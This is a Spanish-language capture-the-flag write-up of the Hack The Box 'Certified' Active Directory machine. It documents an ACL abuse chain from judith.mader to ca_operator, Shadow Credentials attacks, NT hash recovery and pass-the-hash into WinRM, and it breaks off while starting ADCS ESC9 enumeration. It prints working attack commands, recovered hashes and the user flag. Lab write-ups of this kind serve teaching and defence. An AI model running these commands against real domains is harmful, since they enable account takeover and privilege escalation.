the_open_door
café
ESEN

Certified

HackTheBoxMediaWindows10.10.11.41

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#bloodhound#writeowner#genericwrite#genericall#shadow-credentials#adcs#esc9#certipy#pass-the-hash#kerberoasting
TL;DR. Certified es una caja Active Directory de assume breach: arrancamos con credenciales válidas de bajo privilegio (judith.mader). BloodHound revela una cadena de ACL mal puestas: judith.mader tiene WriteOwner sobre el grupo Management, que tiene GenericWrite sobre management_svc, que a su vez tiene GenericAll sobre ca_operator. Encadenamos los abusos con owneredit / dacledit y dos Shadow Credentials para conseguir los hashes NT, y rematamos abusando de ADCS (ESC9) para impersonar al Administrator y volcar su hash. Todo sin un solo exploit de memoria: solo permisos mal configurados.

Reconocimiento

Descubrimiento del host

Empezamos identificando el sistema operativo por el TTL del ping:

ping -c 1 10.10.11.41

ping a 10.10.11.41 con ttl=127

64 bytes from 10.10.11.41: icmp_seq=1 ttl=127 time=107 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1, un solo salto hasta el laboratorio. Es un indicio, no una prueba (el TTL se puede falsificar); lo confirma el escaneo de servicios.

Escaneo UDP: la firma de un Domain Controller

Antes del TCP, un barrido rápido de los 100 puertos UDP más comunes. En un dominio Windows el UDP suele delatar el rol de la máquina antes incluso de mirar el TCP:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.41 | grep -v 'no-response'

nmap -sU sobre los top 100 puertos UDP de 10.10.11.41: descubre 53 (domain), 88 (kerberos-sec) y 123 (ntp), todos con ttl 127

Discovered open port 123/udp on 10.10.11.41
Discovered open port 53/udp on 10.10.11.41
Discovered open port 88/udp on 10.10.11.41
Completed UDP Scan at 15:13, 1.24s elapsed (100 total ports)
Nmap scan report for 10.10.11.41
Host is up, received user-set (0.13s latency).

PORT    STATE SERVICE      REASON
53/udp  open  domain       udp-response ttl 127
88/udp  open  kerberos-sec udp-response ttl 127
123/udp open  ntp          udp-response ttl 127

Esos tres juntos (DNS, Kerberos y NTP) son la firma clásica de un Domain Controller. Y el NTP no es decorativo: Kerberos rechaza tickets con más de cinco minutos de desfase, así que ese puerto abierto es también el recordatorio de que habrá que sincronizar el reloj del atacante contra el DC.

Escaneo TCP completo

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.41 -oG scan

nmap -p- contra 10.10.11.41: 19 puertos abiertos, entre ellos 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389 y seis puertos RPC dinámicos por encima del 49000

PORT      STATE SERVICE       REASON
53/tcp    open  domain        syn-ack ttl 127
88/tcp    open  kerberos-sec  syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
389/tcp   open  ldap          syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
464/tcp   open  kpasswd5      syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl       syn-ack ttl 127
3268/tcp  open  globalcatLDAP syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
9389/tcp  open  adws          syn-ack ttl 127
49668/tcp open  unknown       syn-ack ttl 127
49689/tcp open  unknown       syn-ack ttl 127
49690/tcp open  unknown       syn-ack ttl 127
49693/tcp open  unknown       syn-ack ttl 127
49720/tcp open  unknown       syn-ack ttl 127
49741/tcp open  unknown       syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 39.93 seconds

Diecinueve puertos. Los seis por encima del 49000 son el rango dinámico de RPC, no servicios distintos: el endpoint mapper del 135 dice al cliente en cuál de ellos vive cada interfaz. Lo que importa de la lista es el resto:

  • 389/636/3268/3269: LDAP, LDAPS y el Global Catalog. Cuatro puertos de directorio.
  • 5985 (wsman): WinRM. Si conseguimos una cuenta del grupo Remote Management Users, ahí está la shell.
  • 9389 (adws): Active Directory Web Services, el que usan los cmdlets de PowerShell.

Para leer los puertos de la salida -oG sin copiarlos a mano, una función auxiliar del .zshrc:

extractPorts leyendo el fichero scan y devolviendo la IP 10.10.11.41 y la lista de puertos abiertos separada por comas, copiada al portapapeles

Extracting information...
IP Address: 10.10.11.41
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49689,49690,49693,49720,49741

Ports copied to clipboard

Versiones y el desfase de reloj

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49689,49690,49693,49720,49741 -sCV 10.10.11.41 -oN targetedScan

nmap -sCV: el 88 responde como Microsoft Windows Kerberos con server time, el 389 y el 636 como Active Directory LDAP del dominio certified.htb con el certificado de DC01.certified.htb

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       (generic dns response: SERVFAIL)
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-19 22:13:34Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:04:20
|_Not valid after:  2105-05-23T21:04:20
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)

continuación del nmap -sCV: el 5985 es Microsoft HTTPAPI httpd 2.0, el 9389 .NET Message Framing, seis puertos msrpc, y el bloque final con smb2-security-mode "Message signing enabled and required" y clock-skew de 6h59m49s

5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
49668/tcp open  msrpc        Microsoft Windows RPC
49689/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-11-19T22:14:28
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m49s, deviation: 0s, median: 6h59m49s

Tres datos que no conviene pasar por alto:

  • El certificado LDAPS identifica el host como DC01.certified.htb, así que ya tenemos nombre de equipo y dominio sin haber tocado SMB.
  • Message signing enabled and required: la firma SMB es obligatoria, que es la configuración por defecto en un DC. Eso descarta de entrada cualquier ataque de relay SMB.
  • clock-skew: mean: 6h59m49s: casi siete horas de desfase entre nuestro reloj y el del DC. Kerberos tolera cinco minutos, así que todos los ataques que pidan tickets (Kerberoasting, PKINIT…) fallarán con KRB_AP_ERR_SKEW hasta que sincronicemos:
sudo ntpdate certified.htb

Es el paso que más tiempo hace perder en cajas AD cuando no se ve venir, y aquí nmap lo avisa desde el principio.

SMB - TCP 445

Una consulta sin credenciales a SMB confirma nombre de equipo y de dominio:

netexec smb 10.10.11.41

netexec smb mostrando DC01 y dominio certified.htb

SMB  10.10.11.41  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)

El equipo es DC01 y el dominio certified.htb. Esta es una caja de assume breach: Hack The Box proporciona credenciales iniciales, así que las guardamos y las validamos.

echo 'judith.mader:judith09' > initial_creds.txt guardando las credenciales iniciales que da Hack The Box

netexec smb   10.10.11.41 -u 'judith.mader' -p 'judith09' 2>/dev/null
netexec winrm 10.10.11.41 -u 'judith.mader' -p 'judith09' 2>/dev/null

netexec da por válida a judith.mader en SMB y la rechaza en WinRM

SMB   10.10.11.41  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB   10.10.11.41  445  DC01  [+] certified.htb\judith.mader:judith09

WINRM 10.10.11.41  5985 DC01  [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM 10.10.11.41  5985 DC01  [-] certified.htb\judith.mader:judith09

Las credenciales son válidas ([+] en SMB) pero no dan shell: el [-] de WinRM significa que judith.mader no pertenece a Remote Management Users. Aquí es donde se ve la diferencia entre "tener credenciales" y "tener acceso". Toca enumerar el dominio para buscar el camino.

Antes de nada, el nombre del dominio al /etc/hosts: varias herramientas de Kerberos resuelven el FQDN en lugar de aceptar la IP, y sin esta línea fallan sin explicar por qué.

/etc/hosts con la línea 10.10.11.41 certified.htb dc01.certified.htb

10.10.11.41 certified.htb   dc01.certified.htb

RPC - TCP 135: usuarios del dominio

Con las credenciales sacamos la lista de usuarios por RPC, que es la forma más directa de convertir una cuenta de bajo privilegio en un inventario del dominio:

rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c enumdomusers
rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c enumdomusers | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > userlist.txt

rpcclient enumdomusers listando nueve cuentas con sus RID, y el userlist.txt resultante con Administrator, Guest, krbtgt, judith.mader, management_svc, ca_operator, alexander.huges, harry.wilson y gregory.cameron

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]

Nueve cuentas, tres de ellas integradas (Administrator, Guest, krbtgt). De las seis restantes hay dos con nombre "funcional" en lugar de nombre de persona: management_svc y ca_operator. En AD, un nombre así suele indicar una cuenta de servicio, y las cuentas de servicio suelen tener permisos que las personas no tienen.

Las descripciones a veces guardan contraseñas puestas "temporalmente", así que se comprueban:

rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c querydispinfo

rpcclient querydispinfo mostrando las nueve cuentas con Desc (null) salvo las integradas; ca_operator tiene Name "Operator CA" y management_svc "management service"

index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)  Desc: Built-in account for administering the computer/domain
index: 0xfec RID: 0x641 acb: 0x00000210 Account: alexander.huges  Name: Alexander Huges  Desc: (null)
index: 0xfb4 RID: 0x452 acb: 0x00000210 Account: ca_operator  Name: Operator CA  Desc: (null)
index: 0xfee RID: 0x643 acb: 0x00000210 Account: gregory.cameron  Name: Gregory Cameron  Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)  Desc: Built-in account for guest access to the computer/domain
index: 0xfed RID: 0x642 acb: 0x00000210 Account: harry.wilson  Name: Harry Wilson  Desc: (null)
index: 0xfb1 RID: 0x44f acb: 0x00000210 Account: judith.mader  Name: Judith Mader  Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt  Name: (null)  Desc: Key Distribution Center Service Account
index: 0xfb3 RID: 0x451 acb: 0x00000210 Account: management_svc  Name: management service  Desc: (null)

Ninguna descripción útil, pero sí un detalle que volverá al final: el Name de ca_operator es literalmente "Operator CA". Ese nombre para mostrar es el que aparecerá más tarde en la salida de certipy, y "CA" en un dominio Windows casi siempre significa Certificate Authority.

AS-REP Roasting: sin resultados

Con la lista de usuarios, el primer ataque clásico de Kerberos. El AS-REP Roasting solo funciona contra cuentas con la preautenticación de Kerberos deshabilitada (UF_DONT_REQUIRE_PREAUTH), y por eso no necesita credenciales:

GetNPUsers.py certified.htb/ -no-pass -usersfile userlist.txt

GetNPUsers probando las nueve cuentas: todas responden "doesn't have UF_DONT_REQUIRE_PREAUTH set" salvo dos que devuelven KDC_ERR_CLIENT_REVOKED

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User judith.mader doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User management_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca_operator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alexander.huges doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User harry.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gregory.cameron doesn't have UF_DONT_REQUIRE_PREAUTH set

Cero hashes. Merece la pena leer los dos KDC_ERR_CLIENT_REVOKED: corresponden a Guest y krbtgt, que están deshabilitadas, y ese error es distinto de "no tiene la preautenticación desactivada". El KDC está distinguiendo tres estados (cuenta con preauth, cuenta sin preauth, cuenta deshabilitada) y esa distinción es información gratis sobre el dominio.

Kerberoasting: un hash que no cae

El Kerberoasting sí necesita credenciales, y las tenemos. Pide un TGS para cada cuenta que tenga un SPN registrado; ese ticket va cifrado con la clave derivada de la contraseña de la cuenta, así que se puede atacar sin conexión:

sudo ntpdate certified.htb
GetUserSPNs.py certified.htb/'judith.mader':judith09 -request

GetUserSPNs devolviendo un hash TGS de management_svc

ServicePrincipalName               Name           MemberOf                                     PasswordLastSet             LastLogon
---------------------------------  -------------  ------------------------------------------  --------------------------  ---------
certified.htb/management_svc.DC01  management_svc  CN=Management,CN=Users,DC=certified,DC=htb  2024-05-13 15:30:51.476756  <never>

$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$84c73d9704deb42ffddcb32e7001bffb$25471680ccfbecd56dcb9666685c170ee2dde7ba5d15da36e384<SNIP>

Una sola cuenta con SPN, management_svc, y de paso la columna MemberOf ya nos dice que pertenece al grupo Management. Ese dato aparecerá de nuevo en BloodHound.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

john cargando el hash krb5tgs etype 23 y terminando en 14 segundos con 0 contraseñas encontradas

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:14 DONE (2025-11-19 22:30) 0g/s 973117p/s 973117c/s 973117C/s 10022513..*7¡Vamos!
Session completed.

0g en 14 segundos: john recorrió rockyou entero (14 millones de candidatos a casi un millón por segundo) sin un solo acierto. La contraseña de management_svc no es de diccionario, y ese cero es un resultado, no un fallo: descarta el vector y obliga a mirar los permisos del dominio en vez de las contraseñas.

LDAP: quién puede entrar por WinRM

Antes de montar BloodHound, una foto rápida del directorio con ldapdomaindump, que vuelca usuarios, grupos y políticas a HTML navegable:

mkdir ldap && cd ldap
ldapdomaindump -u 'certified.htb\judith.mader' -p judith09 -n 10.10.11.41 certified.htb

ldapdomaindump conectando, haciendo bind OK y generando los ficheros domain_users, domain_groups, domain_policy, domain_trusts y domain_computers en formatos grep, html y json

[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

domain_computers.grep  domain_computers_by_os.html  domain_groups.json   domain_policy.json  domain_trusts.json  domain_users.json
domain_computers.html  domain_groups.grep           domain_policy.grep   domain_trusts.grep  domain_users.grep   domain_users_by_group.html
domain_computers.json  domain_groups.html           domain_policy.html   domain_trusts.html  domain_users.html
python3 -m http.server 80

python3 -m http.server 80 sirviendo el directorio ldap: "Serving HTTP on 0.0.0.0 port 80"

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

La tabla domain_users_by_group.html en el navegador: el grupo Remote Management Users tiene un único miembro, management_svc, con SID 1105

Management
CN                  name                SAM Name        Flags                                  SID
management service  management service  management_svc  NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD     1105

Remote Management Users
CN                  name                SAM Name        Flags                                  SID
management service  management service  management_svc  NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD     1105

Aquí está el objetivo: management_svc es la única cuenta del grupo Remote Management Users. Es decir, de las nueve cuentas del dominio solo esa puede abrir una sesión WinRM. Todo lo que venga después tiene que llevarnos hasta ella.

BloodHound: la cadena de ACL

ldapdomaindump dice quién está en qué grupo; lo que no dice es quién puede modificar a quién. Eso son las DACL de cada objeto, y para leerlas y cruzarlas está BloodHound. El recolector se ejecuta desde nuestra máquina, sin necesidad de sesión en el objetivo:

bloodhound-python -u judith.mader -p judith09 -ns 10.10.11.41 --zip -c All -d certified.htb

bloodhound-python recolectando el dominio certified.htb: 1 dominio, 1 equipo, 10 usuarios, 53 grupos, 2 GPO, 1 OU y 19 contenedores, comprimidos en un zip

INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 26S
INFO: Compressing output into 20251119224818_bloodhound.zip

El ZIP hay que subirlo a una instancia de BloodHound. La forma más corta de levantarla es bloodhound-cli, un binario que despliega el stack completo (la API, la base de datos de aplicación y la de grafo) en contenedores de Docker:

wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz &>/dev/null
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

bloodhound-cli install comprobando Docker y el plugin Compose, descargando los ficheros YAML y tirando de las imágenes bloodhound, app-db y graph-db

bloodhound-cli
[+] Checking the status of Docker and the Compose plugin ...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml...
[+] Downloading the development YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.dev.yml...
 bloodhound Pulling
 app-db Pulling
 graph-db Pulling

Al terminar, la instalación imprime una contraseña aleatoria para el usuario admin y deja la interfaz escuchando en http://127.0.0.1:8080:

Pantalla de login de BloodHound Community Edition en 127.0.0.1:8080/ui/login, con el usuario admin y la contraseña que generó la instalación

Ya dentro, el botón de subida de la barra lateral abre el diálogo de ingesta, donde se selecciona el ZIP que acaba de generar el recolector:

El diálogo Upload Files de BloodHound con el selector de ficheros abierto sobre 20251119224818_bloodhound.zip, de 143,4 kB

Con el grafo cargado se empieza por lo único que controlamos, judith.mader. Su ficha tiene un único Outbound Object Control, y apunta al grupo Management:

Ficha de JUDITH.MADER@CERTIFIED.HTB en BloodHound: el grafo dibuja la arista WriteOwner hacia MANAGEMENT@CERTIFIED.HTB y el panel derecho marca 1 Outbound Object Control

JUDITH.MADER@CERTIFIED.HTB ──WriteOwner──> MANAGEMENT@CERTIFIED.HTB

SAM Account Name        : judith.mader
Password Last Set       : 2024-05-14 19:22 UTC
Password Never Expires  : TRUE
Member Of               : 2
Outbound Object Control : 1  →  MANAGEMENT@CERTIFIED.HTB

Y ahí está la primera pieza:

Ficha de MANAGEMENT@CERTIFIED.HTB en BloodHound: el grafo muestra la arista GenericWrite desde el grupo Management hacia MANAGEMENT_SVC, con 1 miembro y 1 Outbound Object Control

MANAGEMENT@CERTIFIED.HTB ──GenericWrite──> MANAGEMENT_SVC@CERTIFIED.HTB

SAM Account Name : Management
Members          : 1
Inbound Object Control  : 6
Outbound Object Control : 1

Y management_svc, a su vez, no es un callejón sin salida:

Ficha de MANAGEMENT_SVC@CERTIFIED.HTB en BloodHound: el grafo muestra la arista GenericAll hacia CA_OPERATOR, con el SPN certified.htb/management_svc.DC01 y 1 Outbound Object Control

MANAGEMENT_SVC@CERTIFIED.HTB ──GenericAll──> CA_OPERATOR@CERTIFIED.HTB

SAM Account Name        : management_svc
Service Principal Names : certified.htb/management_svc.DC01
Password Never Expires  : TRUE
Outbound Object Control : 1  →  CA_OPERATOR@CERTIFIED.HTB

Puestas en fila, las tres aristas dibujan la ruta completa:

grafo de BloodHound con la ruta WriteOwner, GenericWrite y GenericAll

JUDITH.MADER@CERTIFIED.HTB
   │ WriteOwner
   ▼
MANAGEMENT@CERTIFIED.HTB
   │ GenericWrite
   ▼
MANAGEMENT_SVC@CERTIFIED.HTB
   │ GenericAll
   ▼
CA_OPERATOR@CERTIFIED.HTB

Cada flecha es una ACE mal configurada: una entrada de la DACL del objeto de destino que concede a un principal más control del que debería. Ninguna es un fallo de software; las tres son permisos legítimos, mal repartidos:

  • judith.mader WriteOwner sobre el grupo Management.
  • Management GenericWrite sobre el usuario management_svc.
  • management_svc GenericAll sobre el usuario ca_operator.

Acceso como management_svc

WriteOwner: apropiarse del grupo Management

BloodHound no solo detecta la relación: en la pestaña de ayuda explica cómo abusarla y con qué herramienta.

La pestaña de abuso de WriteOwner en BloodHound explicando que se puede cambiar el propietario del objeto y luego reescribir su DACL

WriteOwner no da acceso por sí solo: permite cambiar el propietario del objeto. Pero el propietario de un objeto en Windows tiene siempre WriteDacl implícito, así que la secuencia es en tres pasos: hacerse dueño, reescribir la DACL para concederse escritura de miembros, y añadirse.

owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
net rpc group addmem "Management" "judith.mader" -U "certified.htb/judith.mader%judith09" -S "10.10.11.41"
net rpc group members "Management" -U "certified.htb/judith.mader%judith09" -S "10.10.11.41"

owneredit, dacledit y net rpc group confirmando a judith en Management

[*] OwnerSid modified successfully!
[*] DACL backed up to dacledit-20251123-153829.bak
[*] DACL modified successfully!

# net rpc group members Management
CERTIFIED\judith.mader
CERTIFIED\management_svc

owneredit nos hace dueños del grupo, dacledit añade el WriteMembers a nuestra cuenta y net rpc group addmem nos mete dentro. La última consulta lista los miembros y confirma que judith.mader ya está ahí junto a management_svc: la verificación es la prueba de que el abuso funcionó, y sin ella el resto de la cadena sería una suposición.

Un apunte para entornos reales: dacledit guarda un .bak de la DACL original. En una auditoría se restaura al terminar; dejar una ACE de más es dejar una puerta abierta.

GenericWrite + Shadow Credentials sobre management_svc

Ya dentro del grupo, heredamos su GenericWrite sobre management_svc. BloodHound lista las formas de abusarlo:

La pestaña de abuso de GenericWrite en BloodHound listando entre las opciones el ataque de Shadow Credentials

La documentación del ataque de Shadow Credentials explicando el atributo msDS-KeyCredentialLink y la autenticación por Kerberos PKINIT

De todas ellas, la más limpia es Shadow Credentials. La idea: si se puede escribir el atributo msDS-KeyCredentialLink de una cuenta, se le puede añadir nuestra propia clave pública como credencial autorizada. A partir de ahí nos autenticamos como esa cuenta por Kerberos PKINIT (certificados) sin conocer ni cambiar su contraseña. Es más discreto que un reseteo: el usuario legítimo sigue entrando con su contraseña de siempre y nada se rompe.

La herramienta es pywhisker:

El repositorio github.com/ShutdownRepo/pywhisker con sus ficheros pywhisker.py, requirements.txt y setup.py

git clone https://github.com/ShutdownRepo/pywhisker
pip3 install -r requirements.txt --break-system-packages
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"

pywhisker generando un PFX y dando la contraseña del certificado

[*] KeyCredential generated with DeviceID: 652e2b21-7dc5-956b-d0d0-28af6bbbb5ed
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: vVInYE3z.pfx
[*] Must be used with password: BsrTVhATej9j2slt5ww9

pywhisker añade la credencial y genera un .pfx con su contraseña. Con ese certificado pedimos un TGT por PKINIT con las PKINITtools y, de la clave de sesión que devuelve el KDC, extraemos el hash NT de la cuenta:

sudo ntpdate certified.htb
python3 gettgtpkinit.py -cert-pfx vVInYE3z.pfx -pfx-pass BsrTVhATej9j2slt5ww9 certified.htb/management_svc management_svc.ccache
KRB5CCNAME=management_svc.ccache python3 getnthash.py -key b47f4989128ce39580747b3f1462768b7f1697b89b41c5ca2c6094094ea5227e -dc-ip 10.10.11.41 certified.htb/management_svc

getnthash devolviendo el hash NT de management_svc

INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:b47f4989128ce39580747b3f1462768b7f1697b89b41c5ca2c6094094ea5227e
INFO:minikerberos:Saved TGT to file

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

El -key del segundo comando es exactamente la clave que imprime el primero: gettgtpkinit la marca como "you might need this later" y ese "later" es la línea siguiente. getnthash la usa para descifrar el PAC del ticket y sacar de ahí el hash NT, a091c1832bcdd4677c28b5a6a1295584.

Como esta cuenta sí está en Remote Management Users, lo usamos en un Pass-the-Hash contra WinRM:

netexec smb   10.10.11.41 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584 2>/dev/null
netexec winrm 10.10.11.41 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584 2>/dev/null
evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

sesión de evil-winrm como management_svc

WINRM  10.10.11.41  5985  DC01  [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)

Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\management_svc\Documents> whoami
certified\management_svc

El (Pwn3d!) de netexec es la confirmación de que la cuenta puede ejecutar código remoto, no solo autenticarse. Sesión PowerShell como management_svc, y con ella la flag de usuario:

flag de usuario en el escritorio de management_svc

*Evil-WinRM* PS C:\Users\management_svc\Documents> type ..\Desktop\user.txt
6fc2531e820ac86b59f8d1cfbd1186ba

Acceso como ca_operator

GenericAll: segundo Shadow Credentials

management_svc tiene GenericAll sobre ca_operator. GenericAll es el permiso total sobre el objeto, así que incluye implícitamente la escritura de msDS-KeyCredentialLink:

La pestaña de abuso de GenericAll sobre un usuario en BloodHound, que incluye de nuevo el ataque de Shadow Credentials

Repetimos exactamente el mismo ataque, esta vez de management_svc a ca_operator. Nótese que ya no usamos contraseña sino el hash recién obtenido:

python3 pywhisker.py -d "certified.htb" -u "management_svc" -H :a091c1832bcdd4677c28b5a6a1295584 --target "ca_operator" --action "add"
python3 gettgtpkinit.py -cert-pfx T3MEYj4w.pfx -pfx-pass WMThW0lAo3wwJh1v3wfi certified.htb/ca_operator ca_operator.ccache
KRB5CCNAME=ca_operator.ccache python3 getnthash.py -key 1bcc0489a9c62f3d428af68a27372670df8b30c593a8ffb5e7d911527908bebe -dc-ip 10.10.11.41 certified.htb/ca_operator

pywhisker y getnthash para ca_operator

[*] KeyCredential generated with DeviceID: c93c3d92-2e91-18d0-b257-a5ac572ff590
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: T3MEYj4w.pfx
[*] Must be used with password: WMThW0lAo3wwJh1v3wfi

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
b4b86f45c6018f1b664f70805f45d8f2

Hash NT de ca_operator: b4b86f45c6018f1b664f70805f45d8f2. Se prueba dónde vale:

netexec smb   10.10.11.41 -u 'ca_operator' -H b4b86f45c6018f1b664f70805f45d8f2 2>/dev/null
netexec winrm 10.10.11.41 -u 'ca_operator' -H b4b86f45c6018f1b664f70805f45d8f2 2>/dev/null

netexec autentica a ca_operator en SMB y lo rechaza en WinRM

SMB   10.10.11.41  445   DC01  [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
WINRM 10.10.11.41  5985  DC01  [-] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2

El hash es válido ([+] en SMB) pero esta cuenta no está en Remote Management Users, así que no da shell. Es la misma situación que con judith.mader al principio, y la lectura es la misma: si una cuenta no sirve para entrar, sirve para otra cosa. Aquí tres pistas apuntan en la misma dirección: el nombre ca_operator, su nombre para mostrar "Operator CA", y el propio nombre de la máquina, Certified. CA = Certificate Authority.

Escalada de privilegios: ADCS ESC9

Confirmar que hay ADCS

ADCS (Active Directory Certificate Services) es el rol de Windows Server que implementa una PKI dentro del dominio: emite certificados para usuarios, equipos y servicios, y esos certificados sirven para autenticarse. Lo relevante desde el lado ofensivo es que un certificado de autenticación equivale a la identidad que lleva escrita, sin necesitar contraseña ni hash, y que las plantillas mal configuradas dejan que un usuario sin privilegios pida uno a nombre de otro.

netexec ldap certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2 -M adcs

El módulo adcs de netexec encontrando el PKI Enrollment Server DC01.certified.htb y la CA certified-DC01-CA

LDAP  10.10.11.41  389  DC01  [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
ADCS  10.10.11.41  389  DC01  [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS  10.10.11.41  389  DC01  Found PKI Enrollment Server: DC01.certified.htb
ADCS  10.10.11.41  389  DC01  Found CN: certified-DC01-CA

Confirmado: hay una CA llamada certified-DC01-CA en el propio DC. El módulo la localiza buscando objetos pKIEnrollmentService en LDAP, que es donde ADCS publica sus servidores de inscripción.

Buscar plantillas vulnerables

La herramienta de referencia para ADCS es certipy, que está empaquetada en Kali:

sudo apt install certipy-ad

sudo apt install certipy-ad instalando el paquete certipy-ad 5.0.3-0kali1 desde el repositorio kali-rolling

Installing:
  certipy-ad

Summary:
